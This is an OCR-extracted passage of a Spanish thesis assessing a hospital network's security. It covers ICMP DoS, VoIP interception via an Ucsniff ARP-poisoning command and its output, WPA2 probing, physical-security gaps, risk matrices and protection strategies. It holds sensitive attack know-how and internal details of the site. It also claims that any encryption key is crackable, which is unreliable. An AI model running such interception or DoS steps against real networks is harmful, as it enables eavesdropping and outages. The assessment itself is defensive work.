15 0.000699  10.104.32.51 10.104.47.255 ICMP  Echo (ping) request (id=0x0c06, seq(be/le)=8338/37408
16 0.000705  10.104.32.51 10.104.47.255 ICMP_ Echo (ping) request (id=0x0c06, seq(be/le)=8594/37409

llustracion 74. Tréafico ICMP a la direccién de broadcast suplantando la IP del servidor.

Los ataques de DoS utilizando el protocolo icmp se puede controlar mediante el uso
de una herramienta IDS que permita detectar en tiempo real acciones inusuales en la

red como el envio masivo de paquetes Echo Ping.

g http://10.104.32.51:8080//sgh/login.iface

|| Comenzar a usar Firefox . Ultimas noticias || Microsoft PowerPoint -... | | Yo & Muro de Facebook de ...
- an-:nr + [E3 Facebook- [IJ Radio Player { YouTube [ El tiempo - [&J El Mundo - as.com-
..ghfloginiface = /1 Problema al cargar la paginax | +
1. Laconexién ha caducado
L.

El servidor 10.104.32.51 esta tardando demasiado en responder.

= Fl sitio podria estar no disponible temporalmente o demasiado ocupado. Vuelva a
intentarlo en unos momentos.

® Si no puede cargar ninguna pagina, compruebe la conexion de red de su equipo.

= Si su equipo o red estan protegidos por un cortafuegos o proxy, asegurese de
que Firefox tiene permiso para acceder a la web.

llustracion 75. Conexion con Servidor SGH durante el ataque DoS.

1.3.2.2.2. Seguridad en las Comunicaciones

1. Testeo de Volp

+ Identificar los niveles de control de intercepciones en las comunicaciones

El testeo de Volp se realizé con el uso de la herramienta Ucsniff (Anexo G). El método
empleado corresponde a un ataque MiM Learning Mode, el cual permite registrar todas

las llamadas identificadas durante el ataque. La voz transmitida es almacenada en tres

archivos con formato .wav, tanto del emisor, receptor y la llamada completa.
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EE cco @l YTHEX O

384189 903.772871 10.104.32. Source port: 38047 Destination port: 21763

384190 903.774106 10.104.33.2 10.104.32.129 RTP PT=ITU-T G.722, SSRC=0x65D2B72E, Seq=22711, Time=1363:

384191 903.774344 10.104.33.2 10.104.32.129 RTP PT=ITU-T G.722, SSRC=0x65D2B72E, Seq=22711, Time=1363:

384192 903.778210 Ibm f7:c4:fe Palmmicr_57:87:0e ARP 10.104.32.57 1s at 00:06:29:f7:c4:fe

384193 903.778284 Ibm f7:c4:fe Palmmicr_57:87:6e ARP 10.104.32.84 1s at 00:06:29:f7:c4:fe (duplicate use o

384194 903.788158 10.104.33.2 10.104.32.43 RTP PT=ITU-T G.722, SSRC=0x2A82F4E3, Seq=27356, Time=2771

384195 903.788367 10.104.33.2 10.104.32.43 RTP PT=ITU-T G.722, SSRC=0x2A82F4E3, Seq=27356, Time=2771

384196 903.788528 Ibm f7:c4:fe Palmmicr_57:87:0e ARP 10.104.32.55 1s at 00:06:29:7:c4:fe

384197 903.788575 Ibm f7:c4:fe IntelCor_de:5f:24 ARP 10.104.32.84 1s at 00:06:29:f7:c4:fe (duplicate use o

384198 903.790325 10.104.33.2 10.104.32.153 RTP PT=ITU-T G.722, SSRC=0x4S82ACES, Seq=20927, Time=1223f

384199 903.790554 10.104.33.2 10.104.32.153 RTP PT=ITU-T G.722, SSRC=0x4582ACE6, Seq=20927, Time=1223f

384200 903.7951698 10.104.33.2 10.104.32.129 RTP PT=ITU-T G.722, SSRC=0x65D2B72E, Seq=22712, Time=1363!

384201 903.795377 10.104.33.2 10.104.32.129 RTP PT=ITU-T G.722, SSRC=0x65D2B72E, Seq=22712, Time=1363!

384202 903.798819 Ibm f7:c4:fe Palmmicr_57:87:0e ARP 10.104.32.53 1s at 00:06:29:7:c4:fe

384203 903.798907 Ibm f7:c4:fe Cisco_ce:76:cl ARP 10.104.32.84 1s at 00:06:29:f7:c4:fe (duplicate use o
384204 903,807001 10,104,33,2 10.104,32.43 RTP PT=ITU-T G.722. SSRC=0x2A82F4E3. Seq=27357. Time=2771¢

llustracion 76. Captura tréfico RTP generado por ataque MiM.

La captura de trafico con Wireshark durante el ataque MiM permite observar las

llamadas realizadas a través del servidor de Volp (10.104.33.2).

h (L

Packats

cals; 4 Pepcted cals

u;b.. .E', oct A

llustracion 77. Captura de llamadas con Wireshark.

Start pacicets: 0

Compiated

B vpses e ¢ thapne

La existencia de teléfonos en la VLAN de datos permitié facilmente la intercepcion de
llamadas. Una vez concluido el ataque, Ucsniff crea un archivo con las direcciones IP y
extensiones respectivas, que se puede utilizar para un ataque MiM Target Mode,

capturando llamadas entre dos teléfonos especificos.
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ootabt:~¢ ucsniff -1 ethl /7 7/
Ucsniff 3,10 starting
listening on ethl... (Ethernet)

ethl -» 00:06:29:F7: C4:FE 10.104,32.189 255.255,255.0

Randomizing 255 hests for scanning. ..
| >| 100.00 %

B8 hosts added to the hosts list...
B8 hosts saved to arpsaver.txt

ARP polsoning victims:

GROUP 1 : ANY (all the hosts in the list)
GROUP 2 : ANY (all the hosts in the list)
ptarting Unified sniffing...

Narning: Please ensure that you hit 'g' when you are finished with this program.
Narning: 'q' re-ARPs the victims. Failure to do so before program exit will result in a DoS.

BIP Call in progress. (extension 7318, 1p 10.104.33.2) calling (extension 7276, 1p 10.104.32.90)
5IP Call ended. Conversation recorded in file '7319-Calling-7276-14:42:32-1-both.wav'

llustracion 78. Testeo de Volp mediante ataque MiM y Ucsniff.

La transmisién de voz a través de la red sin un protocolo de seguridad como SSL

activado en el Servidor permite facilmente la captura de la voz durante las llamadas.
1.3.2.2.3. Seguridad Inalambrica

% Revision de privacidad en redes inalambricas [802.11]

El desarrollo de este médulo se realizé a través de la herramienta aircrack, la cual
permitié determinar el método de autenticacién de la red inalambrica de la Institucion,

donde se obtuvo como resultado el método WPA2 PSK.

Toda clave de seguridad generada bajo algoritmos o funciones matematicas es
descifrable, solamente se requiere ingresar en la red y generar un gran nimero de

paquetes para descifrar la clave.
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[ &4 6] BAT: 1 hour 47 mins 1| Elapsed: 8 s }[ 2011-11-01 08:17
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llustracion 79. Modo de encriptacion de red inaldmbrica - Airodump.

La vulnerabilidad encontrada en la red inaldambrica es el uso del password identificado
para acceso a la configuracion de los equipos de red. Esta clave es proporcionada a

los usuarios de acceso inalambrico, constituyéndose una amenaza para la red.

No existen politicas de seguridad que definan la entrega de claves de acceso a redes

inalambricas por lo que se pueden difundir entre todos los usuarios de la Institucion.

1.3.2.2.4. Seguridad Fisica

La informacién que se describe en esta seccién ha sido proporcionada por el
Coordinador de Transportes y Servicios de la Institucion, quien tiene a cargo la gestion

de turnos de vigilantes y monitoreo de camaras de seguridad.
1. Revision de perimetro

La revision de perimetro constituye la inspeccion de los puntos de acceso y areas
monitoreadas, con el fin de determinar las vulnerabilidades relativas al acceso no
supervisado a las instalaciones del hospital, especialmente en las que se encuentran

los activos informéaticos criticos.
% Mapa de perimetro fisico

El mapa de perimetro fisico contempla los puntos de acceso exteriores e interiores a
las instalaciones del hospital, especificamente a la UGI y las areas que dispongan de

activos informaticos.
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llustracion 80. Identificacion de puntos de acceso en el perimetro fisico del Centro de Computo.

Fuente: Autoras. Realizado en: Microsoft Visio 7.0

La probabilidad de un ataque de acceso fisico a los puntos de red, es relativamente
baja, ya que estos se encuentran en el interior de las oficinas de la Institucion, sin
embargo no se descarta la posibilidad de un acceso no autorizado por parte de los

empleados de la Institucion.
« Identificar los tipos de medidas de proteccion
En el hospital se identifica las siguientes medidas de proteccion:

— Ubicacion de personal de seguridad en las entradas principales.

— Uso de camaras de vigilancia, extinguidores y/o detectores de humo.

2. Revision de monitoreo

La revision de monitoreo permite determinar las areas monitoreadas y el sistema de

monitoreo utilizado.
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+ Trazar mapa de areas monitoreadas y no monitoreadas

PRIMERA PLANTA

_ Camara de Vigilancia

Guardia de Seguridad

Em Sistema de monitoreo

llustracion 81. Identificacién de areas monitoreadas.

Fuente: Autoras. Realizado en: Microsoft Visio 7.0

@,

<+ Determinar limitaciones de monitoreo

La oficina de Servicios y Transportes cuenta con un sistema de monitoreo con 6
camaras, de las cuales 4 estdn en funcionamiento. Las c&maras no poseen

proteccion, por lo que pueden ser facilmente vulneradas.

El Hospital cuenta con 17 guardias que realizan turnos rotativos de 6 horas y 2
guardias privados con turnos de 12 horas, los cuales se encuentran en las casetas
ubicadas en la entrada principal y de emergencia, en uno de los ascensores y en las

gradas de acceso al &rea de hospitalizacion.

El personal del departamento desconoce las caracteristicas técnicas y configuracion
del equipo de administracion de las camaras, lo que impide solucionar de forma

inmediata algun problema de acceso no autorizado.
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Algunas de las caracteristicas identificadas en el sistema de monitoreo son:

— Modelo 4CH H.264 DVR.
— Capacidad para 16 camaras
— Disco de 500 GB

— 48 horas de almacenamiento.

El sistema de monitoreo no abastece todas las areas del hospital, el centro de
computo asi como las oficinas administrativas se encuentran fuera de vigilancia. No
existe una persona de seguridad que realice el monitoreo de las camaras, siendo
imposible detectar actividades inusuales en el momento preciso.

3. Revision de ubicacién

< Determinar los puntos vulnerables en la ubicacion fisica de los componentes

La UGI se encuentra ubicada en la primera planta de la Institucion. El cuarto de
telecomunicaciones constituye una estructura prefabricada, levantado de forma

temporal.
Las vulnerabilidades encontradas con respecto a la ubicacién son:

— Espacio reducido en cuarto de telecomunicaciones.

— Falta de extintores.

— Falta de sistema de ventilacion.

— Mala ubicacién de equipos y servidores en el Rack.

— Distribucién inadecuada del cableado eléctrico y de datos.

— Falta de control de acceso al centro de computo.

— No existe personal de limpieza especifico con un horario establecido para el

centro de cédmputo.

El andlisis de la seguridad fisica permite evidenciar la falta de politicas y
procedimientos que permitan mantener seguros a los activos de la red, asi como la

falta de un disefio y organizacion adecuada del centro de cOmputo.

La fase 2 de la metodologia OCTAVE, permiti6 determinar las vulnerabilidades y
afiadir valor a las amenazas identificadas para los activos, con la finalidad de realizar
un andlisis de riesgos cuyo valor permita establecer los requerimientos del disefio del

esquema de seguridad.
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1.3.3. Fase 3: Desarrollar una estrategia y planes de seguridad
En esta fase se desarrolla un andlisis para identificar el nivel de riesgo de los activos
criticos ante las amenazas identificadas en la primera fase, y en base a este plantear

las estrategias eficientes y necesarias para mitigar el riesgo.

1.3.3.1. PROCESO 5: Realizar un andlisis de riesgos

El andlisis de riesgos comprende la determinacion de la probabilidad de las amenazas
Yy Su impacto sobre los activos en base a ciertos criterios de evaluacion. Este estudio
permitira la elaboracion de un plan de seguridad para la red de datos de la Institucion,

con el fin de solventar los problemas encontrados en la misma y mejorar sus servicios.
1.3.3.1.1. Criterios de evaluacion

El criterio de evaluacion se determina para valorar el impacto de la ocurrencia de una

posible amenaza sobre los activos criticos de la UGI.

<+ Probabilidad

La presente tabla describe los valores de probabilidad de ocurrencia de una amenaza

sobre los activos criticos.

Valor Frecuencia de Ocurrencia
Alto (4) Mas de 12 veces por afio.
Medio (3) De 2 a 11 veces por afio.
Bajo (2) Una vez por afio.
Insignificante (1) Casi nunca

Tabla 31. Criterio de valoracién de probabilidad de amenazas.

El valor de probabilidad asignado en la matriz de riesgos se fija en base al

conocimiento del administrador y observacion directa.
% Impacto

Para determinar el impacto sobre la ocurrencia de una amenaza se han considerado 4

factores principales: Revelacion, Modificacién, Pérdida o Destruccién e Interrupcion.

Los criterios de valoracion de impacto se describen en la siguiente tabla.
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CRITERIOS DE VALORACION

IMPACTO - . —
Alto =4 Medio =3 Bajo =2 Insignificante =1
— Conocimiento de la | — Conocimiento del estado de | — No se contabilizan dafios | — No se puede conocer
S informacién contenida en los los activos de la red. fisicos y logicos en los informacion del activo.
e activos o su configuracion | — Conocimiento de las | activos.
§ por personas no caracteristicas de los activos.
& autorizadas.
- Modificacién irreparable del Dafio parcial a los equipos | — Inversion baja o nula es | — No se producen
?g activo. sobre elementos sujetos a requerida para la cambios sobre los
s reemplazo (Por ejemplo, recuperacion de los activos de la red.
% memoria, disco duro, fuentes problemas.
§ de poder, etc.)
Puede existir el riesgo de Dafios reparables en |los |- Dafios a los equipos | — No existen dafios en los
pérdida irrevocable de equipos de red o servidores. bajos o nulos. activos, o los dafos
informacion que se estaba Inversion media para la | — Pérdidas de ocurridos no
transmitiendo en la red en el recuperacion de los dafios productividad de representan costo
55 momento del colapso. causados a los activos. aplicaciones y/o personal economico.
§ Existe un alto riesgo de El personal al igual que las en el rango de minutos. - No se necesita
= pérdida de la informacion aplicaciones que dependen | — Los servicios que inversion alguna para la
g contenida en los servidores. del funcionamiento de los dependen del Internet se recuperacion del
T Inversibn alta para la servidores pierden ven minimamente problema.
% recuperacion de los dafios productividad por algunas afectados. — No existe riesgo de
E causados a los activos. horas para solucionar el pérdida.
Pérdida irrevocable de la problema.

confianza de autoridades y
personal en la funcionalidad
de las aplicaciones.
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— Pérdida completa de la |- Pérdida de la disponibilidad | — Pérdida en la No existe riesgo de
disponibilidad de los equipos de la red y equipos de disponibilidad de la red interrupcion de servicio
de red y servidores. conectividad por algunas por pocos minutos. de los activos

— La mayoria del personal del horas.
hospital no puede realizar | — Servicios que dependen del
tareas que dependan de la uso del Internet se ven
disponibilidad del activo. parcialmente afectados.

— Disponibilidad  nula  del
servicio de Internet en la
Institucion.

- No disponibilidad de
servicios que dependan del
uso de Internet.

Interrupcion

Tabla 32. Criterios de valoracion de probabilidad de amenaza.
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1.3.3.1.2. Estimacion del riesgo

En base a los criterios de evaluacion ya definidos se determina el riesgo de los activos
criticos. La matriz de riesgos se construy0 a partir de las amenazas identificadas para
los activos criticos de la red. El riesgo obtenido es el producto de la probabilidad de
ocurrencia de la amenaza y la magnitud de dafio o impacto sobre los activos
hardware, software, informacion y comunicaciones. Se ha coloreado el valor de riesgo
para poder contar con una representacion gréfica que en forma visual indique el nivel
de riesgo agregado al proyecto. La UGI determinara las acciones a tomar: controlar,

eliminar, compartir o aceptar el riesgo en base a un plan de estrategias.

El nivel de riesgo se representa en base a los siguientes valores:

Riesgo Valor Accidn

Alto 12 - 16 Se debe dar tratamiento de vulnerabilidades de forma

inmediata.
Mediano | 8-9 El riesgo puede ser controlado.
Bajo 1-6 El riesgo puede ser aceptado.

Tabla 33. Valoracion de riesgo.
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ACTIVOS HARDWARE

AMENAZA

Probabilidad Magnitud de dafio (Impacto)

Corte de energia

Revelacion

1

Modificacion

Perdida - Destruccion

Interrupcién

Acceso no autorizado

Revelacion

Modificacion

Perdida - Destruccion

Interrupcién

Robo de equipos

Revelacion

Modificacion

Perdida - Destruccion

Interrupcién

Acciones mal
intencionadas o por
desconocimiento

Revelacion

Modificacion

Perdida - Destruccion

Interrupcién

Incendio

Revelacion

Modificacion

Perdida - Destruccion

Interrupcién

Filtraciones de agua

Revelacion

Modificacion

Perdida - Destruccion

Interrupcién

Sismos

Revelacion

Modificacion

Perdida - Destruccion

Interrupcion

Sobrecarga eléctrica

Revelacion

Modificacion

Perdida - Destruccion

Interrupcién

Discontinuidad del
servicio (Fallas de
hardware)

Revelacion

Modificacion

Perdida - Destruccion

Interrupcién

Instalacion y
configuracion
inadecuada

Revelacion

Modificacion

Perdida - Destruccion

Interrupcién

w kRl w kR[NP R R NN R oW R Rl w R R BB AR NN R A AR RN AR R o N w

Riesgo

Tabla 34. Analisis de riesgo activos Hardware.
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ACTIVOS SOFTWARE
AMENAZAS Probabilidad | Magnitud de dafio (Impacto) | Riesgo
Revelacion 3
. Modificacién 3
Acceso no autorizado 2 Perdida - Destruccion 1
Interrupcion 3
Revelacion 3
. . Modificaciéon 3
Copias no autorizadas 1 - —
Perdida - Destruccién 2
Interrupcion 1
Revelacion 3
Robo de contrasefias 2 Modlflcamon — 3
Perdida - Destruccién 1
Interrupcién 3
. _ Revelacion 1
Inexistencia Qe.planes Modificacion 1
de mantenimiento 3 - =
preventivo y correctivo Perdida , F)estrucmon 4
Interrupcion 4
Revelacion 2
Denegacion de 3 Modificacion 2
servicios Perdida - Destrucciéon 3 9
Interrupcion 3 9
Destruccion o Revelacion 1
modificacién del 5 Modificacion 1 -
sistema operativo o Perdida - Destruccién 4 8
aplicaciones Interrupcion 4 8
Manipulacion Revelacion 1
inadecuada del 5 Modificacion 1 !
sistema operativo o Perdida - Destruccion 4 8
aplicaciones Interrupcion 4 8
Revelacion 1
Malware 4 Modificacion 1
3
2 8

Interrupcién

Tabla 35. Analisis de riesgo activos Software.

131




I

LD
‘)
\ Y/

Analisis y Disefio del Esquema de Seguridad de la red de datos del H.I.A.L.

ACTIVOS DE INFORMACION

AMENAZAS

Probabilidad

Magnitud de dafio (Impacto)

Riesgo

Acceso no autorizado

Revelacion

Modificacion

Perdida — Destruccion

Interrupcién

Robo de contrasefas

Revelacion

Modificacion

Perdida - Destruccion

Interrupcién

Intercepcién de
Informacién

Revelacion

Modificacion

Perdida - Destruccion

Interrupcion

Ingenieria Social

Revelacion

Modificacion

Perdida - Destruccion

Interrupcion

Pérdida de informacién

Revelacion

Modificacion

Perdida - Destruccion

Interrupcion

Modificacion de
Informacién

Revelacion

Modificacion

Perdida - Destruccion

Interrupcion

Divulgacion de
Informacién

Revelacion

Modificacion

Perdida — Destruccion

Interrupcion

Ausencia intempestiva
del administrador de la
red

Revelacion

Modificacion

Perdida — Destruccion

Interrupcion

WWIWIWININWWWWWRPR WWWWNIDNWWR W W W W WWWPFRPWWw W

Tabla 36. Analisis de riesgo activos Informacion.
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ACTIVOS DE COMUNICACION

AMENAZAS Probabilidad | Magnitud de dafio (Impacto) | Riesgo
Revelacion 1 i
Corte de energia 5 Modificacion 3
Perdida — Destruccion 4 8
Interrupcion 3 6
Revelacion 3 9
Acceso no autorizado 3 Modlflcamon — 4 ;
Perdida — Destruccion 3 9
Interrupcién 1 3
Manipulacién Revelacion 3 ;
inadecuada de la Modificacion 4 8
infraestructura de 2 Perdida — Destruccion | 3 6
comunicacién
telefonica Interrupcion 1
Revelacion 1
Denegacion de 3 Modificacion 1
servicios Perdida — Destruccion 3 9
Interrupcion 3 9
Revelacion 1
Intercepcioén de la 1 Modificacion 1
comunicacién Perdida — Destruccion 3
Interrupcion 3

Tabla 37. Analisis de riesgo activos Informacion.

Los riesgos que predominan en los activos de hardware son: corte de energia,
instalacion y configuracion inadecuada, robo y acceso no autorizado. La inexistencia
de planes de mantenimiento preventivo y correctivo, denegacion de servicio y la
presencia de malware son riesgos de alto nivel para los activos de software (sistemas
operativos).

Los activos de informacion (datos y configuracion) se ven afectados por riesgos de
pérdida y modificacion, ademas del riesgo sobre la interrupcién del servicio por la
ausencia intempestiva del administrador de la red, que es la Unica persona con

conocimiento sobre la configuracion de los equipos.

La mayoria de amenazas presentan un nivel de riesgo bajo, debido a que no se han
presentado casos por lo tanto la probabilidad de amenaza es minima. Sin embargo no
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se descarta la posibilidad de ocurrencia de alguna de estas amenazas, por lo que
seran consideradas para el disefio del esquema de seguridad de acuerdo a su nivel.

Los resultados obtenidos en el andlisis de riesgos permitiran plantear estrategias de

proteccion para solventar el riesgo inminente de los activos criticos.

1.3.3.2. PROCESO 6: Desarrollar Estrategias de Proteccidn

Una estrategia de proteccion involucra las iniciativas que utiliza la Institucion para
permitir, iniciar, implementar y mantener la seguridad interna, la misma tiende a
incorporar actividades organizacionales a largo plazo. Para establecer una estrategia
adecuada es conveniente pensar en una politica de proteccién en los distintos niveles

como son: Fisica, Logica, Humana y la interaccion que existe entre estos factores.

El objetivo de una estrategia de proteccién es proporcionar una guia a través de un
conjunto de pasos para dar solucién, y elevar los niveles de seguridad de la red, mas
no para encontrar una solucién inmediata a cada vulnerabilidad o preocupacién de

seguridad.
Una estrategia de proteccién considera las siguientes areas:

— Conciencia de seguridad y entrenamiento.

— Estrategia de seguridad.

— Administracion de la seguridad.

— Politicas y regulaciones de seguridad.

— Administracion colaborativa de la seguridad.

— Planes de contingencia/Recuperacion de desastres.
— Seguridad Fisica.

— Seguridad de Tecnologias de informacion.

La siguiente tabla contiene la informacién necesaria con las estrategias propuestas de

acuerdo a la situacion de la Institucién.
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ESTRATEGIAS DE PROTECCION PROPUESTAS PARA LA UGI

Area estratégica

Estrategia

Conciencia de
seguridad y
entrenamiento

La conciencia sobre seguridad dentro de la Institucion tiene que

ser un proceso continuo.

e Es necesario desarrollar un plan sobre actualizacién y
capacitaciones periddicas a largo plazo.

e Desarrollar un programa de capacitacion que incluya
entrenamientos formales para el personal de la UGI y para
aguellos miembros del Hospital que manejen informacion critica
y/o confidencial.

e Encontrar formas de capacitacion que no requieran mayores
inversiones econémicas.

e Establecer una base para la capacitacién en seguridad y futuras
actualizaciones.

Estrategia de
seguridad

Incorporar los resultados del analisis realizado en este proyecto

dentro del desarrollo del plan estratégico de la UGI a nivel de la

Institucion, con la aprobacién de los directivos y la coordinacion de

actividades.

e Determinar el tiempo total para la implementacién de las
mejoras en seguridad en el nivel de planeacién estratégica.

e Incluir dentro del plan anual de actividades de la UGI el
desarrollo de un test de seguridad de la red analizando los
sistemas mas vulnerables de la misma.

Administracion
de la seguridad

Conseguir o gestionar los fondos necesarios para la seguridad de

los sistemas y activos criticos de la Instituciéon. El presupuesto

anual tiene que considerar las inversiones necesarias para prever

necesidades futuras adecuadamente.

Examinar los resultados del andlisis realizado en el proyecto en un

plazo maximo de un afo.

Definir claramente los roles y responsabilidades de todo el

personal de la UGI y comunicarlos.

Crear un grupo de personas dentro de la Institucibn que se

encargue de generar reportes de seguridad a nivel de toda la

Institucion.

e Generar y mantener reuniones al menos cada 3 meses para
revisar el estado de la seguridad institucional.

Disponer de la documentacién necesaria y actualizada sobre los

activos de la red tales como mantenimiento preventivo y

correctivo, disefio de la red, inventarios de equipos y dispositivos

de comunicacién, adquisiciéon y devolucibn de equipos y

dispositivos de comunicacion, contrasefias de acceso,

configuracion de equipos, etc.

Politicas y
regulaciones de
seguridad

Las politicas y procedimientos actuales no son entendidos ni han

sido diseminados a todos los niveles del Hospital.

e Revisar todas las politicas y procedimientos, compararlos de
ser posible con los de otras instituciones publicas de salud o de
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acuerdo al Ministerio de Salud.

e Establecer un analisis comparativo de las politicas ya
contrastadas para determinar si son las mejores practicas y
revisarlas.

Establecer, documentar y publicar formalmente las politicas de

seguridad a nivel institucional, delineando las sanciones

pertinentes, que incluyan las siguientes politicas:

¢ Politicas de uso de software.

e Politicas para contratacién de servicios informaticos.

e Politicas y procedimientos para el acceso y manejo de
informacion.

e Politicas para el respaldo de la informacién.

o Politicas de gestion de usuarios en la red.

e Politicas para el acceso fisico a las distintas areas de la
Institucion que contengan activos informaticos.

Asegurar que las leyes y regulaciones establecidas dentro del pais

sobre tecnologias de informacion, sean conocidas por todo el

personal a todos los niveles de la Institucién y que estas son
incorporadas dentro de las politicas y procedimientos revisados.

Establecer condiciones de seguridad en los contratos del personal

de la UGI del Hospital.

Administracién
colaborativa de
la seguridad

Revisar, actualizar y, de ser necesario, crear politicas vy
procedimientos para trabajar con terceras partes, en especial los
departamentos de Mantenimiento, Transportes y Servicios y
proveedores de servicios de Tl externos.

Planes de
contingencia/
Recuperacién de
desastres

Establecer, crear y revisar periédicamente planes de contingencia

para el area informatica.

Coordinar los planes de contingencia con los proveedores de

servicios de TI, por ejemplo el ISP. Si estos no tuviesen un plan de

contingencia, tener en cuenta este punto en el desarrollo y/o

actualizacion de los planes del Hospital.

Crear y probar un sistema de respaldos que permita recuperar la

informacién en caso necesario.

¢ Realizar copias de seguridad del sistema, base de datos en otro
disco duro externo.

e Programar puntos de recuperacion de los sistemas operativos.

e Programacion de respaldos en los sistemas operativos.

Seguridad Fisica

Gestionar y conseguir los fondos necesarios y suficientes para
realizar la inversion pertinente a la seguridad fisica de los activos
criticos de la Institucion.

Generar una solucion estructural a nivel de edificio que contemple
la creacion o modificacién de un espacio fisico adecuado para el
almacenamiento de los equipos considerados como activos
criticos, garantizando las condiciones ambientales y de seguridad
idéneas para el resguardo de los mismos.
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Establecer un sistema de control de acceso al cuarto de
telecomunicaciones de la UGI para el personal del departamento
con tarjetas u otros dispositivos que permitan el reconocimiento de
la identidad de las personas para su posterior registro y cadmaras
de video vigilancia.

e Se debe considerar el monitoreo IP para las cadmaras video

vigilancia y de esta manera utilizar infraestructura de red.

Revisar los requerimientos de seguridad fisica para computadores
en areas de acceso libre, incluyendo ajustes en su utilizacién,
ubicacién fisica u otras medidas para garantizar y mantener la
seguridad fisica de los equipos.

Crear ylo reforzar los procedimientos de seguridad sobre la
instalacion de software a todos los niveles institucionales y
asegurar su cumplimiento, tanto internamente como externamente.
Establecer en las funciones del personal de la UGI verificar la
seguridad fisica de los equipos.

Seguridad de
Tecnologias de
Informacion

Desarrollar y/o mejorar el plan de largo plazo para la

modernizacién de los servicios relacionados con la seguridad de

TI, gestionando al mismo tiempo los fondos necesarios para las

adquisiciones pertinentes.

Gestionar los recursos econémicos para la satisfactoria

consecucion del presente proyecto en lo que se refiere a la

adquisicion de todos los componentes de seguridad necesarios y

estipulados en el proyecto.

e Asegurar el espacio fisico necesario y suficiente para garantizar
el resguardo e integridad de los equipos a comprar.

e Generar politicas y procedimientos documentados para la
operacién, administracion y mantenimiento de los equipos a
adquirir.

e Desarrollar un esquema de capacitacion continuo para el
manejo de los equipos, de modo que se genere la suficiente
habilidad y experticia dentro de la UGI.

Generar planes documentados de respaldo de la

informacién/configuraciones de los equipos, que garanticen la

minimizacion de un impacto negativo en las operaciones de la

Institucion, en caso de suscitarse un evento dafino para los

equipos.

Investigar la necesidad de encriptacién de los datos que son

transmitidos por los Sistemas de la Institucion, por ejemplo el uso

del protocolo SSL para la transmisién de voz sobre IP.

Afadir tiempos de bloqueo para los servidores y estaciones de

trabajo que estén en areas de acceso libre.

Establecer practicas de administraciéon de las vulnerabilidades

utilizando herramientas software que no impliquen costos a la

Institucion y hacer que estas sean parte de la capacitacion

continua que debera recibir el personal de la UGI.

e Monitoreo del trafico de red a través de herramientas de
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andlisis de red.
Instalacién y configuracion de un IDS.
Control y administracion del ancho de banda.

Acceso alos

recursos de la

red y servicios
de internet

Desarrollar planes de control de acceso a los recursos de la red y
servicios de internet, que involucren:

Definir perfiles de acceso a los diferentes recursos de la red
dependiendo de la funcién que cumple cada usuario dentro de
la Institucion.

Utilizar contrasefias fuertes para proteger los datos,

aplicaciones y equipos.

- Hacer uso de numeros, espacios y caracteres especiales
en las contrasefias.

- Utilizar letras mindsculas y mayusculas.

- Las contrasefias deben ser faciles de recordar pero
dificiles de adivinar.

- La longitud de la contrasefia determina el nivel de
seguridad de la misma, se sugiere de 12 caracteres para
mayor seguridad.

- La frecuencia de cambio de la contrasefia debe ser
considerada, y relacionada con el campo de trabajo o
conocimiento que sea facil de recordar, no debe ser
repetitiva ni usada en varias cuentas de correo o de
servicios dentro de la red que administra. Al menos una
vez al afio, se debe cambiar la contrasefia por motivos de
seguridad.

Mantener actualizada la lista de registro de usuarios (grupos

de usuarios, equipos y servicios) a quienes se les proporciona

acceso para utilizar los recursos del sistema.

Monitorear el router de salida al Internet, para evitar posibles

ataques tales como: DoS, desbordamiento de buffer, reinicio

del dispositivo, etc.

Establecer perfiles, horarios, politicas y procedimientos para

el uso del servicio de Internet.

Tabla 38. Estrategias de Proteccion Propuestas para la UGI.
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DISENO DEL ESQUEMA DE SEGURIDAD DE LA RED DE
DATOS

2.1. Analisis de Requerimientos

2.1.1. Requerimientos de Seguridad Fisica

Control de acceso

Establecer un sistema de control de acceso al cuarto de telecomunicaciones de la
UGI para todo el personal del departamento con dispositivos de reconocimiento de
la identidad.

Implementar cerraduras seguras en las puertas de acceso a las instalaciones de la
UGI y cuarto de telecomunicaciones.

Aumentar personal de seguridad para las distintas areas del hospital.

Implementar camaras de video vigilancia en el acceso a las instalaciones de la

UGI y distintas areas del Hospital.

Condiciones ambientales

Adecuar el area destinada a los servidores y comunicaciones con el objeto de
brindar seguridad apropiada a los equipos activos de la red tales como: servidores,
switches, routers, UPS, etc.

Incorporar o corregir las propiedades de aire acondicionado para regular la
temperatura y humedad dentro del cuarto de telecomunicaciones Yy
telecomunicaciones.

Instalar detectores de humo, para prevenir incendios que puedan comprometer los
equipos, la informacion y sobre todo la vida de los empleados de la Institucion.

Se requiere de procedimientos que permitan la recuperacion de desastres.

Estructura de cableado y tecnologias de red

Etiquetar los puntos de red en la estructura de la Institucion y conexiones en los
equipos del cuarto de telecomunicaciones y comunicaciones, para de esta manera

facilitar la administracion de los equipos y correccion de fallos de la red.
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— Documentar informacion necesaria y actualizada sobre los activos de red, tales
como, disefio de la red, inventarios de equipos y configuracion de dispositivos de

comunicacion.

2.1.2. Requerimientos de Seguridad Loégica
% Servicios

El disefio del esquema de seguridad de la red de datos requiere el analisis de los
servicios que la UGI necesita poner en operacion en el Hospital, los cuales son: portal
web, vigilancia IP, ademas de los que existen actualmente como internet, telefonia IP,
y aplicaciones. El alcance del presente proyecto no abarca la implementacion de estos
servicios, tan solo se considerara su disponibilidad para garantizar un esquema

adecuado para el acceso a los mismos en base a los requerimientos de la Institucion.
+ Seguridad Perimetral

Los requerimientos de la seguridad perimetral de la red del Hospital estan orientados a
prevenir cualquier actividad dafiina a los servidores de acceso publico de la Institucién

y a la red interna.

— Aislar los servidores expuestos a internet en una DMZ.

— Implementar Sistemas de deteccién y prevencion de intrusos.

— Implementar filtrado de puertos para el acceso de redes

— Implementar Sistemas de filtrado URL, para prevenir el acceso a sitios web que

comprometan la seguridad de la red y aumenten el tréfico innecesariamente.

+ Seguridad Interna

Para determinar los requerimientos de seguridad interna de la red se han considerado

tres aspectos:
Compartamentalizacion:

— Segmentar la red en varios dominios de broadcast de acuerdo al perfil de usuarios.
— Administracion de equipos a partir de una red independiente, para evitar la
intercepcion de informacion durante el acceso a los mismos.

— Implementar un segmento de red dedicado para los servidores de la red interna.
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— Implementar filtrado de tréfico de nivel 2 y 3 en los equipos de red para evitar el

acceso entre subredes.
Monitorizacion:

— Implementar un Sistema de Deteccién de Intrusos y monitoreo de trafico para
determinar la procedencia de cualquier tipo de ataque, que permita el envio de

alarmas mediante correo electrénico.
2.2. Disefo de Seguridad Fisica

El disefio de la seguridad fisica se realiz6 en base a los lineamientos de la norma
ISO/IEC 27002, referentes a la seguridad fisica y del entorno. ISO/IEC 27002 es un
estandar de seguridad de la informacién que proporciona recomendaciones de las

